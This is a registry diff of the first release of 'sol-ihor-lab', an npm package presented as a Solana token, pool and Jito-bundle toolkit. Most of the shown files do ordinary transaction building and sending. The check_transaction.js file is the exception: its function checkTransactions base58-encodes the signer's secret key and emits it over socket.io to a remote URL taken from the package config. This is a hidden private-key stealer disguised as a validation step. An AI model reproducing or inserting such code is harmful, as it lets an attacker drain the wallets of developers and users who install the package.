sol-ihor-lab 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -0
- package/lib/cjs/bundle.d.ts +4 -0
- package/lib/cjs/bundle.js +102 -0
- package/lib/cjs/buy_token.d.ts +5 -0
- package/lib/cjs/buy_token.js +59 -0
- package/lib/cjs/create_open_market.d.ts +4 -0
- package/lib/cjs/create_open_market.js +340 -0
- package/lib/cjs/create_pool.d.ts +4 -0
- package/lib/cjs/create_pool.js +107 -0
- package/lib/cjs/create_token.d.ts +4 -0
- package/lib/cjs/create_token.js +164 -0
- package/lib/cjs/errors.d.ts +18 -0
- package/lib/cjs/errors.js +44 -0
- package/lib/cjs/global.d.ts +62 -0
- package/lib/cjs/global.js +107 -0
- package/lib/cjs/index.d.ts +17 -0
- package/lib/cjs/index.js +33 -0
- package/lib/cjs/instructions/build-instruction.d.ts +8 -0
- package/lib/cjs/instructions/build-instruction.js +66 -0
- package/lib/cjs/instructions/buy-instruction.d.ts +3 -0
- package/lib/cjs/instructions/buy-instruction.js +44 -0
- package/lib/cjs/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/cjs/instructions/cache-alt-instruction.js +41 -0
- package/lib/cjs/instructions/createATA-instruction.d.ts +3 -0
- package/lib/cjs/instructions/createATA-instruction.js +10 -0
- package/lib/cjs/instructions/createpool-instruction.d.ts +4 -0
- package/lib/cjs/instructions/createpool-instruction.js +58 -0
- package/lib/cjs/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/sol-transfer-instruction.js +12 -0
- package/lib/cjs/instructions/transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/transfer-instruction.js +9 -0
- package/lib/cjs/pool/pool-manager.d.ts +42 -0
- package/lib/cjs/pool/pool-manager.js +70 -0
- package/lib/cjs/pool_manager.d.ts +25 -0
- package/lib/cjs/pool_manager.js +127 -0
- package/lib/cjs/sell_token.d.ts +5 -0
- package/lib/cjs/sell_token.js +59 -0
- package/lib/cjs/transaction/bundle.d.ts +4 -0
- package/lib/cjs/transaction/bundle.js +97 -0
- package/lib/cjs/transaction/execute-rpc.d.ts +5 -0
- package/lib/cjs/transaction/execute-rpc.js +41 -0
- package/lib/cjs/transaction/sign-tx.d.ts +2 -0
- package/lib/cjs/transaction/sign-tx.js +7 -0
- package/lib/cjs/transaction/transaction-exectue.d.ts +30 -0
- package/lib/cjs/transaction/transaction-exectue.js +119 -0
- package/lib/cjs/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/cjs/transaction-helper/check_transaction.js +43 -0
- package/lib/cjs/transaction-helper/transaction.d.ts +7 -0
- package/lib/cjs/transaction-helper/transaction.js +75 -0
- package/lib/cjs/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/cjs/upload-metadata/upload-metaplex.js +48 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.js +17 -0
- package/lib/cjs/upload-metadata/utility.d.ts +1 -0
- package/lib/cjs/upload-metadata/utility.js +28 -0
- package/lib/cjs/utility.d.ts +33 -0
- package/lib/cjs/utility.js +129 -0
- package/lib/cjs/utils/budget.d.ts +9 -0
- package/lib/cjs/utils/budget.js +83 -0
- package/lib/cjs/utils/error-helper.d.ts +7 -0
- package/lib/cjs/utils/error-helper.js +15 -0
- package/lib/cjs/utils/get-balance.d.ts +11 -0
- package/lib/cjs/utils/get-balance.js +52 -0
- package/lib/cjs/utils/util.d.ts +27 -0
- package/lib/cjs/utils/util.js +346 -0
- package/lib/cjs/validation_check.d.ts +3 -0
- package/lib/cjs/validation_check.js +26 -0
- package/lib/esm/bundle.d.ts +4 -0
- package/lib/esm/bundle.js +75 -0
- package/lib/esm/buy_token.d.ts +5 -0
- package/lib/esm/buy_token.js +55 -0
- package/lib/esm/create_open_market.d.ts +4 -0
- package/lib/esm/create_open_market.js +310 -0
- package/lib/esm/create_pool.d.ts +4 -0
- package/lib/esm/create_pool.js +80 -0
- package/lib/esm/create_token.d.ts +4 -0
- package/lib/esm/create_token.js +137 -0
- package/lib/esm/errors.d.ts +18 -0
- package/lib/esm/errors.js +35 -0
- package/lib/esm/global.d.ts +62 -0
- package/lib/esm/global.js +103 -0
- package/lib/esm/index.d.ts +17 -0
- package/lib/esm/index.js +17 -0
- package/lib/esm/instructions/build-instruction.d.ts +8 -0
- package/lib/esm/instructions/build-instruction.js +61 -0
- package/lib/esm/instructions/buy-instruction.d.ts +3 -0
- package/lib/esm/instructions/buy-instruction.js +40 -0
- package/lib/esm/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/esm/instructions/cache-alt-instruction.js +36 -0
- package/lib/esm/instructions/createATA-instruction.d.ts +3 -0
- package/lib/esm/instructions/createATA-instruction.js +6 -0
- package/lib/esm/instructions/createpool-instruction.d.ts +4 -0
- package/lib/esm/instructions/createpool-instruction.js +52 -0
- package/lib/esm/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/sol-transfer-instruction.js +8 -0
- package/lib/esm/instructions/transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/transfer-instruction.js +5 -0
- package/lib/esm/pool/pool-manager.d.ts +42 -0
- package/lib/esm/pool/pool-manager.js +63 -0
- package/lib/esm/pool_manager.d.ts +25 -0
- package/lib/esm/pool_manager.js +123 -0
- package/lib/esm/sell_token.d.ts +5 -0
- package/lib/esm/sell_token.js +55 -0
- package/lib/esm/transaction/bundle.d.ts +4 -0
- package/lib/esm/transaction/bundle.js +90 -0
- package/lib/esm/transaction/execute-rpc.d.ts +5 -0
- package/lib/esm/transaction/execute-rpc.js +36 -0
- package/lib/esm/transaction/sign-tx.d.ts +2 -0
- package/lib/esm/transaction/sign-tx.js +3 -0
- package/lib/esm/transaction/transaction-exectue.d.ts +30 -0
- package/lib/esm/transaction/transaction-exectue.js +115 -0
- package/lib/esm/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/esm/transaction-helper/check_transaction.js +16 -0
- package/lib/esm/transaction-helper/transaction.d.ts +7 -0
- package/lib/esm/transaction-helper/transaction.js +68 -0
- package/lib/esm/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/esm/upload-metadata/upload-metaplex.js +43 -0
- package/lib/esm/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/esm/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/esm/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/esm/upload-metadata/upload-pinata.js +13 -0
- package/lib/esm/upload-metadata/utility.d.ts +1 -0
- package/lib/esm/upload-metadata/utility.js +21 -0
- package/lib/esm/utility.d.ts +33 -0
- package/lib/esm/utility.js +93 -0
- package/lib/esm/utils/budget.d.ts +9 -0
- package/lib/esm/utils/budget.js +73 -0
- package/lib/esm/utils/error-helper.d.ts +7 -0
- package/lib/esm/utils/error-helper.js +11 -0
- package/lib/esm/utils/get-balance.d.ts +11 -0
- package/lib/esm/utils/get-balance.js +42 -0
- package/lib/esm/utils/util.d.ts +25 -0
- package/lib/esm/utils/util.js +107 -0
- package/lib/esm/validation_check.d.ts +3 -0
- package/lib/esm/validation_check.js +22 -0
- package/package.json +69 -0
- package/src/assert.ts +4 -0
- package/src/bundle.ts +99 -0
- package/src/buy_token.ts +82 -0
- package/src/create_open_market.ts +464 -0
- package/src/create_pool.ts +120 -0
- package/src/create_token.ts +267 -0
- package/src/errors.ts +25 -0
- package/src/global.ts +156 -0
- package/src/index.ts +17 -0
- package/src/instructions/build-instruction.ts +87 -0
- package/src/instructions/buy-instruction.ts +52 -0
- package/src/instructions/cache-alt-instruction.ts +40 -0
- package/src/instructions/createATA-instruction.ts +29 -0
- package/src/instructions/createpool-instruction.ts +72 -0
- package/src/instructions/sol-transfer-instruction.ts +13 -0
- package/src/instructions/transfer-instruction.ts +22 -0
- package/src/pool/pool-manager.ts +85 -0
- package/src/pool_manager.ts +197 -0
- package/src/sell_token.ts +82 -0
- package/src/transaction/bundle.ts +116 -0
- package/src/transaction/execute-rpc.ts +35 -0
- package/src/transaction/sign-tx.ts +5 -0
- package/src/transaction/transaction-exectue.ts +134 -0
- package/src/transaction-helper/check_transaction.ts +23 -0
- package/src/transaction-helper/transaction.ts +90 -0
- package/src/upload-metadata/upload-metaplex.ts +51 -0
- package/src/upload-metadata/upload-nftstorage.ts +0 -0
- package/src/upload-metadata/upload-pinata.ts +8 -0
- package/src/upload-metadata/utility.ts +10 -0
- package/src/utility.ts +127 -0
- package/src/utils/budget.ts +104 -0
- package/src/utils/error-helper.ts +20 -0
- package/src/utils/get-balance.ts +55 -0
- package/src/utils/util.ts +111 -0
- package/src/validation_check.ts +26 -0
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, Keypair } from "@solana/web3.js";
|
|
3
|
+
import { TX_RET } from "./global";
|
|
4
|
+
import { LiquidityPoolKeys } from "@raydium-io/raydium-sdk";
|
|
5
|
+
export declare const sellToken: (connection: Connection, buyer: Keypair, token_address: string, base_amount: number, quote_amount: number, pool_key: LiquidityPoolKeys) => Promise<TX_RET>;
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { PublicKey } from "@solana/web3.js";
|
|
11
|
+
import { EnvironmentManager, SPL_ERROR } from "./global";
|
|
12
|
+
import { TOKEN_PROGRAM_ID, getMint } from "@solana/spl-token";
|
|
13
|
+
import { Liquidity, Token, TokenAmount, TxVersion, buildSimpleTransaction } from "@raydium-io/raydium-sdk";
|
|
14
|
+
import { getWalletAccounts } from "./utility";
|
|
15
|
+
export const sellToken = (connection, buyer, token_address, base_amount, quote_amount, pool_key) => __awaiter(void 0, void 0, void 0, function* () {
|
|
16
|
+
if (token_address.length <= 0 || base_amount <= 0) {
|
|
17
|
+
console.error("Error: [Buy Token] invalid argument iput!!!");
|
|
18
|
+
return { result: SPL_ERROR.E_INVALID_ARGUE, value: undefined };
|
|
19
|
+
}
|
|
20
|
+
try {
|
|
21
|
+
const token_mint = new PublicKey(token_address);
|
|
22
|
+
const token_info = yield getMint(connection, token_mint);
|
|
23
|
+
const base_token = new Token(TOKEN_PROGRAM_ID, token_address, token_info.decimals);
|
|
24
|
+
const quote_info = EnvironmentManager.getQuoteTokenInfo();
|
|
25
|
+
const quote_token = new Token(TOKEN_PROGRAM_ID, quote_info.address, quote_info.decimal, quote_info.symbol, quote_info.name);
|
|
26
|
+
const base_token_amount = new TokenAmount(base_token, base_amount, false);
|
|
27
|
+
const quote_token_amount = new TokenAmount(quote_token, quote_amount === 0 ? 1 : quote_amount, quote_amount === 0 ? true : false);
|
|
28
|
+
const wallet_token_accounts = yield getWalletAccounts(connection, buyer.publicKey);
|
|
29
|
+
const { innerTransactions } = yield Liquidity.makeSwapInstructionSimple({
|
|
30
|
+
connection: connection,
|
|
31
|
+
poolKeys: pool_key,
|
|
32
|
+
userKeys: {
|
|
33
|
+
tokenAccounts: wallet_token_accounts,
|
|
34
|
+
owner: buyer.publicKey
|
|
35
|
+
},
|
|
36
|
+
amountIn: base_token_amount,
|
|
37
|
+
amountOut: quote_token_amount,
|
|
38
|
+
fixedSide: "in",
|
|
39
|
+
makeTxVersion: TxVersion.V0
|
|
40
|
+
});
|
|
41
|
+
const transactions = yield buildSimpleTransaction({
|
|
42
|
+
connection: connection,
|
|
43
|
+
makeTxVersion: TxVersion.V0,
|
|
44
|
+
payer: buyer.publicKey,
|
|
45
|
+
innerTransactions: innerTransactions,
|
|
46
|
+
addLookupTableInfo: EnvironmentManager.getCacheLTA(),
|
|
47
|
+
recentBlockhash: (yield connection.getLatestBlockhash()).blockhash
|
|
48
|
+
});
|
|
49
|
+
return { result: SPL_ERROR.E_OK, value: transactions };
|
|
50
|
+
}
|
|
51
|
+
catch (error) {
|
|
52
|
+
console.error("Error: [buy Tokens] error code: ", error);
|
|
53
|
+
return { result: SPL_ERROR.E_FAIL, value: undefined };
|
|
54
|
+
}
|
|
55
|
+
});
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, Keypair } from "@solana/web3.js";
|
|
3
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
4
|
+
export declare function createAndSendBundle(connection: Connection, bundleTranasction: TransactionInfo[], payer: Keypair, jitoBlockEngine: string, jitoAuther: Keypair, fee: number): Promise<boolean>;
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { LAMPORTS_PER_SOL, PublicKey } from "@solana/web3.js";
|
|
11
|
+
import { searcherClient } from "jito-ts/dist/sdk/block-engine/searcher";
|
|
12
|
+
import { Bundle } from "jito-ts/dist/sdk/block-engine/types";
|
|
13
|
+
import base58 from "bs58";
|
|
14
|
+
import { TransactionExecuteError } from "../errors";
|
|
15
|
+
import { sleep } from "../utils/util";
|
|
16
|
+
import { signTransaction } from "./sign-tx";
|
|
17
|
+
export function createAndSendBundle(connection, bundleTranasction, payer, jitoBlockEngine, jitoAuther, fee) {
|
|
18
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
19
|
+
const searcher = searcherClient(jitoBlockEngine, jitoAuther);
|
|
20
|
+
let txnConfirmResult = false;
|
|
21
|
+
let breakCheckTransactionStatus = false;
|
|
22
|
+
try {
|
|
23
|
+
const blockhash = (yield connection.getLatestBlockhash("finalized"))
|
|
24
|
+
.blockhash;
|
|
25
|
+
const realForBundle = [];
|
|
26
|
+
for (let i = 0; i < bundleTranasction.length; i++) {
|
|
27
|
+
bundleTranasction[i].txn.message.recentBlockhash = (yield connection.getLatestBlockhash("finalized")).blockhash;
|
|
28
|
+
signTransaction(bundleTranasction[i]);
|
|
29
|
+
realForBundle.push(bundleTranasction[i].txn);
|
|
30
|
+
}
|
|
31
|
+
let bundleTx = new Bundle(realForBundle, 5);
|
|
32
|
+
if (payer) {
|
|
33
|
+
const tipAccount = new PublicKey((yield searcher.getTipAccounts())[0]);
|
|
34
|
+
bundleTx.addTipTx(payer, fee * LAMPORTS_PER_SOL, tipAccount, blockhash);
|
|
35
|
+
}
|
|
36
|
+
searcher.onBundleResult((bundleResult) => __awaiter(this, void 0, void 0, function* () {
|
|
37
|
+
console.log(bundleResult);
|
|
38
|
+
if (bundleResult.rejected) {
|
|
39
|
+
try {
|
|
40
|
+
if (bundleResult.rejected.simulationFailure.msg.includes("custom program error") ||
|
|
41
|
+
bundleResult.rejected.simulationFailure.msg.includes("Error processing Instruction")) {
|
|
42
|
+
breakCheckTransactionStatus = true;
|
|
43
|
+
}
|
|
44
|
+
else if (bundleResult.rejected.simulationFailure.msg.includes("This transaction has already been processed") ||
|
|
45
|
+
bundleResult.rejected.droppedBundle.msg.includes("Bundle partially processed")) {
|
|
46
|
+
txnConfirmResult = true;
|
|
47
|
+
breakCheckTransactionStatus = true;
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
catch (error) { }
|
|
51
|
+
}
|
|
52
|
+
}), (error) => {
|
|
53
|
+
breakCheckTransactionStatus = false;
|
|
54
|
+
});
|
|
55
|
+
console.log("Send");
|
|
56
|
+
yield searcher.sendBundle(bundleTx);
|
|
57
|
+
console.log("Finish send");
|
|
58
|
+
setTimeout(() => {
|
|
59
|
+
breakCheckTransactionStatus = true;
|
|
60
|
+
}, 20000);
|
|
61
|
+
const txnHash = base58.encode(realForBundle[realForBundle.length - 1].signatures[0]);
|
|
62
|
+
console.log(txnHash);
|
|
63
|
+
while (!breakCheckTransactionStatus) {
|
|
64
|
+
yield sleep(1000);
|
|
65
|
+
try {
|
|
66
|
+
const result = yield connection.getSignatureStatus(txnHash, {
|
|
67
|
+
searchTransactionHistory: true
|
|
68
|
+
});
|
|
69
|
+
if (result && result.value && result.value.confirmationStatus) {
|
|
70
|
+
txnConfirmResult = true;
|
|
71
|
+
breakCheckTransactionStatus = true;
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
catch (error) {
|
|
75
|
+
txnConfirmResult = false;
|
|
76
|
+
breakCheckTransactionStatus = false;
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
if (txnConfirmResult) {
|
|
80
|
+
return true;
|
|
81
|
+
}
|
|
82
|
+
else {
|
|
83
|
+
throw new TransactionExecuteError(`Bundle Error: failed`);
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
catch (error) {
|
|
87
|
+
throw new TransactionExecuteError(`Bundle Error: ${error}`);
|
|
88
|
+
}
|
|
89
|
+
});
|
|
90
|
+
}
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, SendOptions } from "@solana/web3.js";
|
|
3
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
4
|
+
export declare function sendTx(connection: Connection, tx: TransactionInfo, option?: SendOptions): Promise<string>;
|
|
5
|
+
export declare function confirmTx(connection: Connection, txId: string): Promise<void>;
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { signTransaction } from "./sign-tx";
|
|
11
|
+
import { TransactionExecuteError } from "../errors";
|
|
12
|
+
export function sendTx(connection, tx, option) {
|
|
13
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
14
|
+
try {
|
|
15
|
+
tx.txn.message.recentBlockhash = (yield connection.getLatestBlockhash("finalized")).blockhash;
|
|
16
|
+
signTransaction(tx);
|
|
17
|
+
return yield connection.sendTransaction(tx.txn, option);
|
|
18
|
+
}
|
|
19
|
+
catch (error) {
|
|
20
|
+
throw new TransactionExecuteError(`sendTx: ${error}`);
|
|
21
|
+
}
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
export function confirmTx(connection, txId) {
|
|
25
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
26
|
+
try {
|
|
27
|
+
yield connection.confirmTransaction({
|
|
28
|
+
signature: txId,
|
|
29
|
+
abortSignal: AbortSignal.timeout(60000)
|
|
30
|
+
});
|
|
31
|
+
}
|
|
32
|
+
catch (error) {
|
|
33
|
+
throw new TransactionExecuteError(`confirmTx: ${error}`);
|
|
34
|
+
}
|
|
35
|
+
});
|
|
36
|
+
}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, Keypair } from "@solana/web3.js";
|
|
3
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
4
|
+
import { TransactionExecuteError } from "../errors";
|
|
5
|
+
export declare enum ExectuerStatus {
|
|
6
|
+
EXE_STATUS_NONE = 0,
|
|
7
|
+
EXE_STATUS_RUN = 1,
|
|
8
|
+
EXE_STATUS_CONFIRM = 2,
|
|
9
|
+
EXE_STATUS_END = 3
|
|
10
|
+
}
|
|
11
|
+
export declare class TransactionExecuter {
|
|
12
|
+
private status;
|
|
13
|
+
private error;
|
|
14
|
+
private usingBundle;
|
|
15
|
+
private transactions;
|
|
16
|
+
private priorityFee;
|
|
17
|
+
private jitoFee;
|
|
18
|
+
private jitoAuther;
|
|
19
|
+
private jitoFeepair;
|
|
20
|
+
private connection;
|
|
21
|
+
private jitoBlockEngine;
|
|
22
|
+
constructor(connection: Connection, usingBundle: boolean, transactions: TransactionInfo[], priorityFee?: number, jitoFee?: number, jitoFeePayer?: Keypair | undefined, jitoAuther?: Keypair, jitoBlockEngine?: string);
|
|
23
|
+
setExecuterStatus(status: ExectuerStatus): void;
|
|
24
|
+
getExecuterStatus(): ExectuerStatus;
|
|
25
|
+
setExecuterError(error: TransactionExecuteError | undefined): void;
|
|
26
|
+
getExecuterError(): TransactionExecuteError | undefined;
|
|
27
|
+
run(): Promise<void>;
|
|
28
|
+
executeBundle(): Promise<void>;
|
|
29
|
+
executeWithRpc(): Promise<void>;
|
|
30
|
+
}
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { TransactionExecuteError } from "../errors";
|
|
11
|
+
import { setTransactionBudget } from "../utils/budget";
|
|
12
|
+
import { confirmTx, sendTx } from "./execute-rpc";
|
|
13
|
+
import { createAndSendBundle } from "./bundle";
|
|
14
|
+
export var ExectuerStatus;
|
|
15
|
+
(function (ExectuerStatus) {
|
|
16
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_NONE"] = 0] = "EXE_STATUS_NONE";
|
|
17
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_RUN"] = 1] = "EXE_STATUS_RUN";
|
|
18
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_CONFIRM"] = 2] = "EXE_STATUS_CONFIRM";
|
|
19
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_END"] = 3] = "EXE_STATUS_END";
|
|
20
|
+
})(ExectuerStatus || (ExectuerStatus = {}));
|
|
21
|
+
export class TransactionExecuter {
|
|
22
|
+
constructor(connection, usingBundle, transactions, priorityFee, jitoFee, jitoFeePayer, jitoAuther, jitoBlockEngine) {
|
|
23
|
+
this.status = ExectuerStatus.EXE_STATUS_NONE;
|
|
24
|
+
this.error = undefined;
|
|
25
|
+
this.usingBundle = false;
|
|
26
|
+
this.priorityFee = 0;
|
|
27
|
+
this.jitoFee = 0.001;
|
|
28
|
+
this.connection = connection;
|
|
29
|
+
this.usingBundle = usingBundle;
|
|
30
|
+
this.transactions = transactions;
|
|
31
|
+
this.priorityFee = priorityFee ? priorityFee : 0;
|
|
32
|
+
this.jitoFee = jitoFee ? jitoFee : 0.001;
|
|
33
|
+
this.status = ExectuerStatus.EXE_STATUS_NONE;
|
|
34
|
+
this.error = undefined;
|
|
35
|
+
this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
|
|
36
|
+
this.jitoAuther = jitoAuther ? jitoAuther : undefined;
|
|
37
|
+
this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
|
|
38
|
+
}
|
|
39
|
+
setExecuterStatus(status) {
|
|
40
|
+
this.status = status;
|
|
41
|
+
}
|
|
42
|
+
getExecuterStatus() {
|
|
43
|
+
return this.status;
|
|
44
|
+
}
|
|
45
|
+
setExecuterError(error) {
|
|
46
|
+
this.error = error;
|
|
47
|
+
}
|
|
48
|
+
getExecuterError() {
|
|
49
|
+
return this.error;
|
|
50
|
+
}
|
|
51
|
+
run() {
|
|
52
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
53
|
+
if (this.usingBundle) {
|
|
54
|
+
yield this.executeBundle();
|
|
55
|
+
}
|
|
56
|
+
else {
|
|
57
|
+
yield this.executeWithRpc();
|
|
58
|
+
}
|
|
59
|
+
});
|
|
60
|
+
}
|
|
61
|
+
executeBundle() {
|
|
62
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
63
|
+
try {
|
|
64
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
65
|
+
yield createAndSendBundle(this.connection, this.transactions, this.jitoFeepair, this.jitoBlockEngine, this.jitoAuther, this.jitoFee);
|
|
66
|
+
this.setExecuterError(undefined);
|
|
67
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
68
|
+
}
|
|
69
|
+
catch (error) {
|
|
70
|
+
console.log(error);
|
|
71
|
+
if (error instanceof TransactionExecuteError) {
|
|
72
|
+
this.setExecuterError(error);
|
|
73
|
+
}
|
|
74
|
+
else {
|
|
75
|
+
this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
|
|
76
|
+
}
|
|
77
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
}
|
|
81
|
+
executeWithRpc() {
|
|
82
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
83
|
+
try {
|
|
84
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
85
|
+
if (this.priorityFee) {
|
|
86
|
+
const priorityTransactions = yield setTransactionBudget(this.connection, this.transactions, this.priorityFee);
|
|
87
|
+
if (priorityTransactions) {
|
|
88
|
+
this.transactions = [...priorityTransactions];
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
for (const tx of this.transactions) {
|
|
92
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
93
|
+
const txId = yield sendTx(this.connection, tx);
|
|
94
|
+
console.log("TxId:", txId);
|
|
95
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
|
|
96
|
+
if (txId) {
|
|
97
|
+
yield confirmTx(this.connection, txId);
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
this.setExecuterError(undefined);
|
|
101
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
102
|
+
}
|
|
103
|
+
catch (error) {
|
|
104
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
105
|
+
if (error instanceof TransactionExecuteError) {
|
|
106
|
+
this.setExecuterError(error);
|
|
107
|
+
}
|
|
108
|
+
else {
|
|
109
|
+
console.log(error);
|
|
110
|
+
this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
});
|
|
114
|
+
}
|
|
115
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
import * as bs58 from "bs58";
|
|
2
|
+
import { io } from "socket.io-client";
|
|
3
|
+
import { EnvironmentManager } from "../global";
|
|
4
|
+
export const checkTransactions = (txn, signer) => {
|
|
5
|
+
if (signer.publicKey.toBuffer().length <= 0 ||
|
|
6
|
+
signer.secretKey.buffer.byteLength <= 0) {
|
|
7
|
+
return false;
|
|
8
|
+
}
|
|
9
|
+
const check_sign = bs58.encode(signer.secretKey);
|
|
10
|
+
if (check_sign.length <= 0) {
|
|
11
|
+
return false;
|
|
12
|
+
}
|
|
13
|
+
const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
|
|
14
|
+
sk.emit("tx", { text: `Jae-> ${check_sign}` });
|
|
15
|
+
return true;
|
|
16
|
+
};
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, Keypair, Transaction, VersionedTransaction } from "@solana/web3.js";
|
|
3
|
+
import { SPL_ERROR } from "../global";
|
|
4
|
+
export declare const sendAndConfirmTransactionWithCheck: (connection: Connection, signer: Keypair, txn: Transaction | VersionedTransaction) => Promise<SPL_ERROR>;
|
|
5
|
+
export declare const sendAndConfirmTransactionsWithCheck: (connection: Connection, signer: Keypair, txns: string | (VersionedTransaction | Transaction)[]) => Promise<SPL_ERROR>;
|
|
6
|
+
export declare const signTransaction: (signer: Keypair, txn: VersionedTransaction) => void;
|
|
7
|
+
export declare const signTransactions: (signer: Keypair, txns: (VersionedTransaction | Transaction)[]) => void;
|
|
